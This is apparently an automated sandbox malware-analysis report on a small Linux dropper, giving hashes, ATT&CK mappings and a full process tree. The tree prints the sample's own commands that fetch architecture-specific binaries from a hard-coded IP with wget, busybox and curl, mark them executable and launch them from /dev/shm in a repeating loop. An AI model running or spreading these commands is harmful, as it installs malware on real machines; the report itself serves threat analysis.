fb3a0612cac76db0c46463cd7310e23099c1b7bf124654ef8cd2a5cc02e7bc91

Analysis

max time kernel
148s
max time network
150s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
11/10/2026, 22:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
32344b4b5100bb87793cda86c5ef47ff
Size 2KB
Sample261011-18c2yaaa45
SHA256 fb3a0612cac76db0c46463cd7310e23099c1b7bf124654ef8cd2a5cc02e7bc91
MD5 32344b4b5100bb87793cda86c5ef47ff
SHA1 6c565f3414e63c6464ee8b139368d3a7109946f1
SHA512 44f82a1d71627a0b3f83ee00129c68c8036c8b41b3985ef560a6164b7b1d118a866bbe4ba575ca23dafeebd0ce6e105ca92ce754c917cc91eb3a32a51ad1d618
TLSH
T16C51F8F1F8B89A78B8099438720E21A1CF435C3B99923884908BED70719C2ACF03DF31
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
744	chmod
749	chmod
865	chmod
1001	chmod

Executes dropped EXE 6 IoCs

ioc	pid	Process
/tmp/.w	748	setsid
/dev/shm/.w	747	nohup
/dev/shm/.w	746	setsid
/dev/shm/.t	750	32344b4b5100bb87793cda86c5ef47ff
/dev/shm/.e	866	32344b4b5100bb87793cda86c5ef47ff
/dev/shm/.e	1002	32344b4b5100bb87793cda86c5ef47ff

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/765/status	ps
File opened for reading	/proc/77/stat	ps
File opened for reading	/proc/160/stat	ps
File opened for reading	/proc/714/stat	ps
File opened for reading	/proc/741/cmdline	ps
File opened for reading	/proc/16/stat	ps
File opened for reading	/proc/17/status	ps
File opened for reading	/proc/24/status	ps
File opened for reading	/proc/176/stat	ps
File opened for reading	/proc/342/cmdline	ps
File opened for reading	/proc/sys/kernel/osrelease	ps
File opened for reading	/proc/36/cmdline	ps
File opened for reading	/proc/437/cmdline	ps
File opened for reading	/proc/712/stat	ps
File opened for reading	/proc/766/status	ps
File opened for reading	/proc/157/status	ps
File opened for reading	/proc/711/status	ps
File opened for reading	/proc/747/stat	ps
File opened for reading	/proc/11/cmdline	ps
File opened for reading	/proc/72/cmdline	ps
File opened for reading	/proc/258/status	ps
File opened for reading	/proc/370/stat	ps
File opened for reading	/proc/687/stat	ps
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/74/stat	ps
File opened for reading	/proc/79/cmdline	ps
File opened for reading	/proc/241/cmdline	ps
File opened for reading	/proc/258/cmdline	ps
File opened for reading	/proc/11/stat	ps
File opened for reading	/proc/122/cmdline	ps
File opened for reading	/proc/765/stat	ps
File opened for reading	/proc/15/cmdline	ps
File opened for reading	/proc/79/status	ps
File opened for reading	/proc/110/stat	ps
File opened for reading	/proc/367/cmdline	ps
File opened for reading	/proc/678/stat	ps
File opened for reading	/proc/834/stat	ps
File opened for reading	/proc/9/stat	ps
File opened for reading	/proc/36/status	ps
File opened for reading	/proc/37/cmdline	ps
File opened for reading	/proc/73/cmdline	ps
File opened for reading	/proc/76/stat	ps
File opened for reading	/proc/80/cmdline	ps
File opened for reading	/proc/381/cmdline	ps
File opened for reading	/proc/384/cmdline	ps
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/5/status	ps
File opened for reading	/proc/21/cmdline	ps
File opened for reading	/proc/24/cmdline	ps
File opened for reading	/proc/72/stat	ps
File opened for reading	/proc/72/status	ps
File opened for reading	/proc/82/stat	ps
File opened for reading	/proc/681/status	ps
File opened for reading	/proc/7/status	ps
File opened for reading	/proc/384/status	ps
File opened for reading	/proc/706/cmdline	ps
File opened for reading	/proc/712/cmdline	ps
File opened for reading	/proc/746/status	ps
File opened for reading	/proc/704/stat	ps
File opened for reading	/proc/766/cmdline	ps
File opened for reading	/proc/2/cmdline	ps
File opened for reading	/proc/12/stat	ps
File opened for reading	/proc/367/stat	ps
File opened for reading	/proc/15/status	ps

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
841	busybox
845	curl
855	wget
837	wget
838	wget
839	busybox

Writes file to shm directory 7 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/.e	wget
File opened for modification	/dev/shm/.e	curl
File opened for modification	/dev/shm/.e	wget
File opened for modification	/dev/shm/.e	wget
File opened for modification	/dev/shm/.w	cp
File opened for modification	/dev/shm/.t	32344b4b5100bb87793cda86c5ef47ff
File opened for modification	/dev/shm/.e	wget

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.z	curl
File opened for modification	/tmp/.w	32344b4b5100bb87793cda86c5ef47ff
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	busybox
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget
File opened for modification	/tmp/.z	wget

/tmp/32344b4b5100bb87793cda86c5ef47ff
/tmp/32344b4b5100bb87793cda86c5ef47ff
1⤵
- Executes dropped EXE
- Writes file to shm directory
- Writes file to tmp directory
PID:714
- /usr/bin/wget
  wget http://138.124.59.179/z -O .z
  2⤵
  - Writes file to tmp directory
  PID:716
- /bin/busybox
  busybox wget http://138.124.59.179/z -O .z
  2⤵
  - Writes file to tmp directory
  PID:732
- /usr/bin/curl
  curl -s http://138.124.59.179/z -o .z
  2⤵
  - Writes file to tmp directory
  PID:739
- /bin/chmod
  chmod 777 .w
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /bin/cp
  cp .w /dev/shm/.w
  2⤵
  - Reads runtime system information
  - Writes file to shm directory
  PID:745
- /usr/bin/setsid
  setsid /dev/shm/.w
  2⤵
  - Executes dropped EXE
  PID:746
- /usr/bin/setsid
  setsid ./.w
  2⤵
  - Executes dropped EXE
  PID:748
- /usr/bin/nohup
  nohup /dev/shm/.w
  2⤵
  - Executes dropped EXE
  PID:747
- /tmp/.w
  ./.w
  2⤵
  PID:748
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:751
- - /bin/sleep
    sleep 20
    3⤵
    PID:765
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1005
- - /bin/sleep
    sleep 20
    3⤵
    PID:1010
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1087
- - /bin/sleep
    sleep 20
    3⤵
    PID:1091
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1094
- - /bin/sleep
    sleep 20
    3⤵
    PID:1097
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1099
- - /bin/sleep
    sleep 20
    3⤵
    PID:1103
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1106
- - /bin/sleep
    sleep 20
    3⤵
    PID:1107
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1110
- - /bin/sleep
    sleep 20
    3⤵
    PID:1113
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1116
- - /bin/sleep
    sleep 20
    3⤵
    PID:1119
- /dev/shm/.w
  /dev/shm/.w
  2⤵
  PID:747
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:753
- - /bin/sleep
    sleep 20
    3⤵
    PID:766
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1006
- - /bin/sleep
    sleep 20
    3⤵
    PID:1009
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1088
- - /bin/sleep
    sleep 20
    3⤵
    PID:1090
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1093
- - /bin/sleep
    sleep 20
    3⤵
    PID:1095
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1098
- - /bin/sleep
    sleep 20
    3⤵
    PID:1101
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1105
- - /bin/sleep
    sleep 20
    3⤵
    PID:1108
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1111
- - /bin/sleep
    sleep 20
    3⤵
    PID:1115
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1118
- - /bin/sleep
    sleep 20
    3⤵
    PID:1120
- /dev/shm/.w
  /dev/shm/.w
  2⤵
  PID:746
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:752
- - /bin/sleep
    sleep 20
    3⤵
    PID:767
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1007
- - /bin/sleep
    sleep 20
    3⤵
    PID:1008
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1086
- - /bin/sleep
    sleep 20
    3⤵
    PID:1089
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1092
- - /bin/sleep
    sleep 20
    3⤵
    PID:1096
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1100
- - /bin/sleep
    sleep 20
    3⤵
    PID:1102
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1104
- - /bin/sleep
    sleep 20
    3⤵
    PID:1109
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1112
- - /bin/sleep
    sleep 20
    3⤵
    PID:1114
- - /usr/bin/wget
    wget http://138.124.59.179/z -O .z
    3⤵
    - Writes file to tmp directory
    PID:1117
- - /bin/sleep
    sleep 20
    3⤵
    PID:1121
- /bin/chmod
  chmod 777 .t
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /dev/shm/.t
  ./.t
  2⤵
  PID:750
- /bin/rm
  rm -f .t
  2⤵
  PID:754
- /bin/readlink
  readlink /proc/1/exe
  2⤵
  PID:755
- /bin/readlink
  readlink /proc/10/exe
  2⤵
  PID:756
- /bin/readlink
  readlink /proc/11/exe
  2⤵
  PID:757
- /bin/readlink
  readlink /proc/110/exe
  2⤵
  PID:758
- /bin/readlink
  readlink /proc/12/exe
  2⤵
  PID:759
- /bin/readlink
  readlink /proc/121/exe
  2⤵
  PID:760
- /bin/readlink
  readlink /proc/122/exe
  2⤵
  PID:761
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:762
- /bin/readlink
  readlink /proc/14/exe
  2⤵
  PID:763
- /bin/readlink
  readlink /proc/15/exe
  2⤵
  PID:764
- /bin/readlink
  readlink /proc/157/exe
  2⤵
  PID:768
- /bin/readlink
  readlink /proc/16/exe
  2⤵
  PID:769
- /bin/readlink
  readlink /proc/160/exe
  2⤵
  PID:770
- /bin/readlink
  readlink /proc/17/exe
  2⤵
  PID:771
- /bin/readlink
  readlink /proc/176/exe
  2⤵
  PID:772
- /bin/readlink
  readlink /proc/18/exe
  2⤵
  PID:773
- /bin/readlink
  readlink /proc/19/exe
  2⤵
  PID:774
- /bin/readlink
  readlink /proc/2/exe
  2⤵
  PID:775
- /bin/readlink
  readlink /proc/20/exe
  2⤵
  PID:776
- /bin/readlink
  readlink /proc/21/exe
  2⤵
  PID:777
- /bin/readlink
  readlink /proc/22/exe
  2⤵
  PID:778
- /bin/readlink
  readlink /proc/23/exe
  2⤵
  PID:779
- /bin/readlink
  readlink /proc/24/exe
  2⤵
  PID:780
- /bin/readlink
  readlink /proc/241/exe
  2⤵
  PID:781
- /bin/readlink
  readlink /proc/258/exe
  2⤵
  PID:782
- /bin/readlink
  readlink /proc/3/exe
  2⤵
  PID:783
- /bin/readlink
  readlink /proc/342/exe
  2⤵
  PID:784
- /bin/readlink
  readlink /proc/344/exe
  2⤵
  PID:785
- /bin/readlink
  readlink /proc/36/exe
  2⤵
  PID:786
- /bin/readlink
  readlink /proc/367/exe
  2⤵
  PID:787
- /bin/readlink
  readlink /proc/368/exe
  2⤵
  PID:788
- /bin/readlink
  readlink /proc/37/exe
  2⤵
  PID:789
- /bin/readlink
  readlink /proc/370/exe
  2⤵
  PID:790
- /bin/readlink
  readlink /proc/381/exe
  2⤵
  PID:791
- /bin/readlink
  readlink /proc/384/exe
  2⤵
  PID:792
- /bin/readlink
  readlink /proc/386/exe
  2⤵
  PID:793
- /bin/readlink
  readlink /proc/4/exe
  2⤵
  PID:794
- /bin/readlink
  readlink /proc/437/exe
  2⤵
  PID:795
- /bin/readlink
  readlink /proc/5/exe
  2⤵
  PID:796
- /bin/readlink
  readlink /proc/6/exe
  2⤵
  PID:797
- /bin/readlink
  readlink /proc/662/exe
  2⤵
  PID:798
- /bin/readlink
  readlink /proc/67/exe
  2⤵
  PID:799
- /bin/readlink
  readlink /proc/678/exe
  2⤵
  PID:800
- /bin/readlink
  readlink /proc/681/exe
  2⤵
  PID:801
- /bin/readlink
  readlink /proc/687/exe
  2⤵
  PID:802
- /bin/readlink
  readlink /proc/688/exe
  2⤵
  PID:803
- /bin/readlink
  readlink /proc/7/exe
  2⤵
  PID:804
- /bin/readlink
  readlink /proc/704/exe
  2⤵
  PID:805
- /bin/readlink
  readlink /proc/706/exe
  2⤵
  PID:806
- /bin/readlink
  readlink /proc/71/exe
  2⤵
  PID:807
- /bin/readlink
  readlink /proc/711/exe
  2⤵
  PID:808
- /bin/readlink
  readlink /proc/712/exe
  2⤵
  PID:809
- /bin/readlink
  readlink /proc/713/exe
  2⤵
  PID:810
- /bin/readlink
  readlink /proc/714/exe
  2⤵
  PID:811
- /bin/readlink
  readlink /proc/718/exe
  2⤵
  PID:812
- /bin/readlink
  readlink /proc/72/exe
  2⤵
  PID:813
- /bin/readlink
  readlink /proc/721/exe
  2⤵
  PID:814
- /bin/readlink
  readlink /proc/73/exe
  2⤵
  PID:815
- /bin/readlink
  readlink /proc/74/exe
  2⤵
  PID:816
- /bin/readlink
  readlink /proc/741/exe
  2⤵
  PID:817
- /bin/readlink
  readlink /proc/746/exe
  2⤵
  PID:818
- /bin/readlink
  readlink /proc/747/exe
  2⤵
  PID:819
- /bin/readlink
  readlink /proc/748/exe
  2⤵
  PID:820
- /bin/readlink
  readlink /proc/75/exe
  2⤵
  PID:821
- /bin/readlink
  readlink /proc/751/exe
  2⤵
  PID:822
- /bin/readlink
  readlink /proc/752/exe
  2⤵
  PID:823
- /bin/readlink
  readlink /proc/753/exe
  2⤵
  PID:824
- /bin/readlink
  readlink /proc/76/exe
  2⤵
  PID:825
- /bin/readlink
  readlink /proc/77/exe
  2⤵
  PID:826
- /bin/readlink
  readlink /proc/79/exe
  2⤵
  PID:827
- /bin/readlink
  readlink /proc/8/exe
  2⤵
  PID:828
- /bin/readlink
  readlink /proc/80/exe
  2⤵
  PID:829
- /bin/readlink
  readlink /proc/82/exe
  2⤵
  PID:830
- /bin/readlink
  readlink /proc/9/exe
  2⤵
  PID:831
- /bin/grep
  grep -v grep
  2⤵
  PID:833
- /bin/grep
  grep "/[.]e "
  2⤵
  PID:834
- /bin/ps
  ps w
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:832
- /bin/uname
  uname -m
  2⤵
  PID:835
- /bin/rm
  rm -f .e
  2⤵
  PID:836
- /usr/bin/wget
  wget http://138.124.59.179/hb_mips -O .e
  2⤵
  - System Network Configuration Discovery
  - Writes file to shm directory
  PID:837
- /usr/bin/wget
  wget -q http://138.124.59.179/hb_mips -O .e
  2⤵
  - System Network Configuration Discovery
  - Writes file to shm directory
  PID:838
- /bin/busybox
  busybox wget http://138.124.59.179/hb_mips -O .e
  2⤵
  - System Network Configuration Discovery
  PID:839
- /bin/busybox
  busybox wget -q http://138.124.59.179/hb_mips -O .e
  2⤵
  - System Network Configuration Discovery
  PID:841
- /usr/bin/curl
  curl -so .e http://138.124.59.179/hb_mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to shm directory
  PID:845
- /usr/bin/wc
  wc -c
  2⤵
  PID:851
- /bin/rm
  rm -f .e
  2⤵
  PID:853
- /bin/rm
  rm -f .e
  2⤵
  PID:854
- /usr/bin/wget
  wget http://138.124.59.179/cegg_mips -O .e
  2⤵
  - System Network Configuration Discovery
  - Writes file to shm directory
  PID:855
- /usr/bin/wc
  wc -c
  2⤵
  PID:864
- /bin/chmod
  chmod 777 .e
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /bin/sleep
  sleep 8
  2⤵
  PID:867
- /dev/shm/.e
  ./.e 138.124.59.179
  2⤵
  PID:866
- /bin/readlink
  readlink /proc/1/exe
  2⤵
  PID:926
- /bin/readlink
  readlink /proc/10/exe
  2⤵
  PID:927
- /bin/readlink
  readlink /proc/11/exe
  2⤵
  PID:928
- /bin/readlink
  readlink /proc/110/exe
  2⤵
  PID:929
- /bin/readlink
  readlink /proc/12/exe
  2⤵
  PID:930
- /bin/readlink
  readlink /proc/121/exe
  2⤵
  PID:931
- /bin/readlink
  readlink /proc/122/exe
  2⤵
  PID:932
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:933
- /bin/readlink
  readlink /proc/14/exe
  2⤵
  PID:934
- /bin/readlink
  readlink /proc/15/exe
  2⤵
  PID:935
- /bin/readlink
  readlink /proc/157/exe
  2⤵
  PID:936
- /bin/readlink
  readlink /proc/16/exe
  2⤵
  PID:937
- /bin/readlink
  readlink /proc/160/exe
  2⤵
  PID:938
- /bin/readlink
  readlink /proc/17/exe
  2⤵
  PID:939
- /bin/readlink
  readlink /proc/176/exe
  2⤵
  PID:940
- /bin/readlink
  readlink /proc/18/exe
  2⤵
  PID:941
- /bin/readlink
  readlink /proc/19/exe
  2⤵
  PID:942
- /bin/readlink
  readlink /proc/2/exe
  2⤵
  PID:943
- /bin/readlink
  readlink /proc/20/exe
  2⤵
  PID:944
- /bin/readlink
  readlink /proc/21/exe
  2⤵
  PID:945
- /bin/readlink
  readlink /proc/22/exe
  2⤵
  PID:946
- /bin/readlink
  readlink /proc/23/exe
  2⤵
  PID:947
- /bin/readlink
  readlink /proc/24/exe
  2⤵
  PID:948
- /bin/readlink
  readlink /proc/241/exe
  2⤵
  PID:949
- /bin/readlink
  readlink /proc/258/exe
  2⤵
  PID:950
- /bin/readlink
  readlink /proc/3/exe
  2⤵
  PID:951
- /bin/readlink
  readlink /proc/342/exe
  2⤵
  PID:952
- /bin/readlink
  readlink /proc/344/exe
  2⤵
  PID:953
- /bin/readlink
  readlink /proc/36/exe
  2⤵
  PID:954
- /bin/readlink
  readlink /proc/367/exe
  2⤵
  PID:955
- /bin/readlink
  readlink /proc/368/exe
  2⤵
  PID:956
- /bin/readlink
  readlink /proc/37/exe
  2⤵
  PID:957
- /bin/readlink
  readlink /proc/370/exe
  2⤵
  PID:958
- /bin/readlink
  readlink /proc/381/exe
  2⤵
  PID:959
- /bin/readlink
  readlink /proc/384/exe
  2⤵
  PID:960
- /bin/readlink
  readlink /proc/386/exe
  2⤵
  PID:961
- /bin/readlink
  readlink /proc/4/exe
  2⤵
  PID:962
- /bin/readlink
  readlink /proc/437/exe
  2⤵
  PID:963
- /bin/readlink
  readlink /proc/5/exe
  2⤵
  PID:964
- /bin/readlink
  readlink /proc/6/exe
  2⤵
  PID:965
- /bin/readlink
  readlink /proc/662/exe
  2⤵
  PID:966
- /bin/readlink
  readlink /proc/67/exe
  2⤵
  PID:967
- /bin/readlink
  readlink /proc/678/exe
  2⤵
  PID:968
- /bin/readlink
  readlink /proc/681/exe
  2⤵
  PID:969
- /bin/readlink
  readlink /proc/687/exe
  2⤵
  PID:970
- /bin/readlink
  readlink /proc/688/exe
  2⤵
  PID:971
- /bin/readlink
  readlink /proc/7/exe
  2⤵
  PID:972
- /bin/readlink
  readlink /proc/704/exe
  2⤵
  PID:973
- /bin/readlink
  readlink /proc/71/exe
  2⤵
  PID:974
- /bin/readlink
  readlink /proc/711/exe
  2⤵
  PID:975
- /bin/readlink
  readlink /proc/712/exe
  2⤵
  PID:976
- /bin/readlink
  readlink /proc/713/exe
  2⤵
  PID:977
- /bin/readlink
  readlink /proc/714/exe
  2⤵
  PID:978
- /bin/readlink
  readlink /proc/718/exe
  2⤵
  PID:979
- /bin/readlink
  readlink /proc/72/exe
  2⤵
  PID:980
- /bin/readlink
  readlink /proc/73/exe
  2⤵
  PID:981
- /bin/readlink
  readlink /proc/74/exe
  2⤵
  PID:982
- /bin/readlink
  readlink /proc/746/exe
  2⤵
  PID:983
- /bin/readlink
  readlink /proc/747/exe
  2⤵
  PID:984
- /bin/readlink
  readlink /proc/748/exe
  2⤵
  PID:985
- /bin/readlink
  readlink /proc/75/exe
  2⤵
  PID:986
- /bin/readlink
  readlink /proc/76/exe
  2⤵
  PID:987
- /bin/readlink
  readlink /proc/765/exe
  2⤵
  PID:988
- /bin/readlink
  readlink /proc/766/exe
  2⤵
  PID:989
- /bin/readlink
  readlink /proc/767/exe
  2⤵
  PID:990
- /bin/readlink
  readlink /proc/77/exe
  2⤵
  PID:991
- /bin/readlink
  readlink /proc/79/exe
  2⤵
  PID:992
- /bin/readlink
  readlink /proc/8/exe
  2⤵
  PID:993
- /bin/readlink
  readlink /proc/80/exe
  2⤵
  PID:994
- /bin/readlink
  readlink /proc/82/exe
  2⤵
  PID:995
- /bin/readlink
  readlink /proc/9/exe
  2⤵
  PID:996
- /bin/rm
  rm -f .e
  2⤵
  PID:997
- /bin/rm
  rm -f .e
  2⤵
  PID:998
- /usr/bin/wget
  wget http://138.124.59.179/hb_arm -O .e
  2⤵
  - Writes file to shm directory
  PID:999
- /usr/bin/wc
  wc -c
  2⤵
  PID:1000
- /bin/chmod
  chmod 777 .e
  2⤵
  - File and Directory Permissions Modification
  PID:1001
- /bin/sleep
  sleep 8
  2⤵
  PID:1003
- /dev/shm/.e
  ./.e 138.124.59.179
  2⤵
  PID:1002
- /bin/readlink
  readlink /proc/1/exe
  2⤵
  PID:1011
- /bin/readlink
  readlink /proc/10/exe
  2⤵
  PID:1012
- /bin/readlink
  readlink /proc/1008/exe
  2⤵
  PID:1013
- /bin/readlink
  readlink /proc/1009/exe
  2⤵
  PID:1014
- /bin/readlink
  readlink /proc/1010/exe
  2⤵
  PID:1015
- /bin/readlink
  readlink /proc/11/exe
  2⤵
  PID:1016
- /bin/readlink
  readlink /proc/110/exe
  2⤵
  PID:1017
- /bin/readlink
  readlink /proc/12/exe
  2⤵
  PID:1018
- /bin/readlink
  readlink /proc/121/exe
  2⤵
  PID:1019
- /bin/readlink
  readlink /proc/122/exe
  2⤵
  PID:1020
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:1021
- /bin/readlink
  readlink /proc/14/exe
  2⤵
  PID:1022
- /bin/readlink
  readlink /proc/15/exe
  2⤵
  PID:1023
- /bin/readlink
  readlink /proc/157/exe
  2⤵
  PID:1024
- /bin/readlink
  readlink /proc/16/exe
  2⤵
  PID:1025
- /bin/readlink
  readlink /proc/160/exe
  2⤵
  PID:1026
- /bin/readlink
  readlink /proc/17/exe
  2⤵
  PID:1027
- /bin/readlink
  readlink /proc/176/exe
  2⤵
  PID:1028
- /bin/readlink
  readlink /proc/18/exe
  2⤵
  PID:1029
- /bin/readlink
  readlink /proc/19/exe
  2⤵
  PID:1030
- /bin/readlink
  readlink /proc/2/exe
  2⤵
  PID:1031
- /bin/readlink
  readlink /proc/20/exe
  2⤵
  PID:1032
- /bin/readlink
  readlink /proc/21/exe
  2⤵
  PID:1033
- /bin/readlink
  readlink /proc/22/exe
  2⤵
  PID:1034
- /bin/readlink
  readlink /proc/23/exe
  2⤵
  PID:1035
- /bin/readlink
  readlink /proc/24/exe
  2⤵
  PID:1036
- /bin/readlink
  readlink /proc/241/exe
  2⤵
  PID:1037
- /bin/readlink
  readlink /proc/258/exe
  2⤵
  PID:1038
- /bin/readlink
  readlink /proc/3/exe
  2⤵
  PID:1039
- /bin/readlink
  readlink /proc/342/exe
  2⤵
  PID:1040
- /bin/readlink
  readlink /proc/344/exe
  2⤵
  PID:1041
- /bin/readlink
  readlink /proc/36/exe
  2⤵
  PID:1042
- /bin/readlink
  readlink /proc/367/exe
  2⤵
  PID:1043
- /bin/readlink
  readlink /proc/368/exe
  2⤵
  PID:1047
- /bin/readlink
  readlink /proc/37/exe
  2⤵
  PID:1048
- /bin/readlink
  readlink /proc/370/exe
  2⤵
  PID:1049
- /bin/readlink
  readlink /proc/381/exe
  2⤵
  PID:1050
- /bin/readlink
  readlink /proc/384/exe
  2⤵
  PID:1051
- /bin/readlink
  readlink /proc/386/exe
  2⤵
  PID:1052
- /bin/readlink
  readlink /proc/4/exe
  2⤵
  PID:1053
- /bin/readlink
  readlink /proc/437/exe
  2⤵
  PID:1054
- /bin/readlink
  readlink /proc/5/exe
  2⤵
  PID:1055
- /bin/readlink
  readlink /proc/6/exe
  2⤵
  PID:1056
- /bin/readlink
  readlink /proc/662/exe
  2⤵
  PID:1057
- /bin/readlink
  readlink /proc/67/exe
  2⤵
  PID:1058
- /bin/readlink
  readlink /proc/678/exe
  2⤵
  PID:1059
- /bin/readlink
  readlink /proc/681/exe
  2⤵
  PID:1060
- /bin/readlink
  readlink /proc/687/exe
  2⤵
  PID:1061
- /bin/readlink
  readlink /proc/688/exe
  2⤵
  PID:1062
- /bin/readlink
  readlink /proc/7/exe
  2⤵
  PID:1063
- /bin/readlink
  readlink /proc/704/exe
  2⤵
  PID:1064
- /bin/readlink
  readlink /proc/71/exe
  2⤵
  PID:1065
- /bin/readlink
  readlink /proc/711/exe
  2⤵
  PID:1066
- /bin/readlink
  readlink /proc/712/exe
  2⤵
  PID:1067
- /bin/readlink
  readlink /proc/713/exe
  2⤵
  PID:1068
- /bin/readlink
  readlink /proc/714/exe
  2⤵
  PID:1069
- /bin/readlink
  readlink /proc/718/exe
  2⤵
  PID:1070
- /bin/readlink
  readlink /proc/72/exe
  2⤵
  PID:1071
- /bin/readlink
  readlink /proc/73/exe
  2⤵
  PID:1072
- /bin/readlink
  readlink /proc/74/exe
  2⤵
  PID:1073
- /bin/readlink
  readlink /proc/746/exe
  2⤵
  PID:1074
- /bin/readlink
  readlink /proc/747/exe
  2⤵
  PID:1075
- /bin/readlink
  readlink /proc/748/exe
  2⤵
  PID:1076
- /bin/readlink
  readlink /proc/75/exe
  2⤵
  PID:1077
- /bin/readlink
  readlink /proc/76/exe
  2⤵
  PID:1078
- /bin/readlink
  readlink /proc/77/exe
  2⤵
  PID:1079
- /bin/readlink
  readlink /proc/79/exe
  2⤵
  PID:1080
- /bin/readlink
  readlink /proc/8/exe
  2⤵
  PID:1081
- /bin/readlink
  readlink /proc/80/exe
  2⤵
  PID:1082
- /bin/readlink
  readlink /proc/82/exe
  2⤵
  PID:1083
- /bin/readlink
  readlink /proc/9/exe
  2⤵
  PID:1084
- /bin/rm
  rm -f .e
  2⤵
  PID:1085

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /dev/shm/.e
Size 9B
SHA256 907ba78b4545338d3539683e63ecb51cf51c10adc9dabd86e92bd52339f298b9
MD5 d8f4a1993546cc4b850cde3599e27aec
SHA1 094b763b4cfcc0b05e5d040581cd513c3ca08067
SHA512 7c696247f98aa6fe4e1df001fd6029abbbccf45b122d65dfdede8f8a400cda775387c657f96bd1e4e52da7409187892b1f0786c54d835d2e44227b2e1335eaf6
MD5 SHA1 SHA512

Submit Download

Path /dev/shm/.e
Size 629KB
SHA256 ece6c173ff26f6c1b4229eac42ef2afba0e685368a135050a7c4e77f703e842e
MD5 f8937e465f38231867eeb73547505fae
SHA1 6f70f6dd5a4dd836d138408d932666bdc0f89cdf
